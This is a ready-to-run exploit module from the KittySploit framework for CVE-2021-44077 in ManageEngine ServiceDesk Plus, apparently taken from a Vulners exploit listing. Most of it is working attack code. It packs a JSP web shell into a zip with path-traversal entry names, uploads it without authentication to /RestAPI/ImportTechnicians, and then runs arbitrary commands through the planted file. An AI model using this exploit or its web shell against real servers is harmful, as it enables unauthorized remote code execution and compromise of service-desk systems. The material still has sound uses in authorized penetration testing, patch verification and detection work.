ManageEngine ServiceDesk RCE (CVE-2021-44077)
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ManageEngine ServiceDesk Plus ImportTechnicians RCE (CVE-2021-44077)."""
import io
import zipfile
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'ManageEngine ServiceDesk RCE (CVE-2021-44077)',
'description': (
'Exploits CVE-2021-44077 in Zoho ManageEngine ServiceDesk Plus: unauthenticated '
'zip upload to /RestAPI/ImportTechnicians achieves path traversal and RCE.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-44077'],
'platform': Platform.WINDOWS,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-44077'],
'tags': ['manageengine', 'zoho', 'upload', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2021_44077_detect']},
},
}
def _zip_payload(self, cmd: str) -> bytes:
buf = io.BytesIO()
jsp = (
'<%@ page import="java.io.*" %>'
f'<% Process p = Runtime.getRuntime().exec("{cmd}"); '
'BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); '
'String l; while((l=br.readLine())!=null){ out.println(l);} %>'
)
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('../../../../bin/ks_probe.jsp', jsp)
return buf.getvalue()
def check(self):
r = self.http_request(method='GET', path='/RestAPI/ImportTechnicians', allow_redirects=False)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and 'ImportTechnicians' in body:
return {'vulnerable': True, 'reason': 'ImportTechnicians surface exposed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'ServiceDesk Plus not detected', 'confidence': 'medium'}
def execute(self, cmd: str) -> str:
data = self._zip_payload(str(cmd))
boundary = '----KittySploitME'
body = (
f'--{boundary}\r\nContent-Disposition: form-data; name="theFile"; '
f'filename="technicians.zip"\r\nContent-Type: application/zip\r\n\r\n'
).encode() + data + f'\r\n--{boundary}--\r\n'.encode()
self.http_request(
method='POST',
path='/RestAPI/ImportTechnicians',
data=body,
headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
allow_redirects=False,
)
r = self.http_request(method='GET', path='/bin/ks_probe.jsp', allow_redirects=False)
return (r.text or '') if r else ''
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'cmd /c echo {token}') or '')
def run(self):
if not self.check().get('vulnerable'):
self.not_vulnerable()
return False
if not self.check_execute():
print_warning('Upload surface confirmed — zip path may need target-specific tuning')
self.vulnerable()
return True
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.19.8
EPSS0.93298
SSVC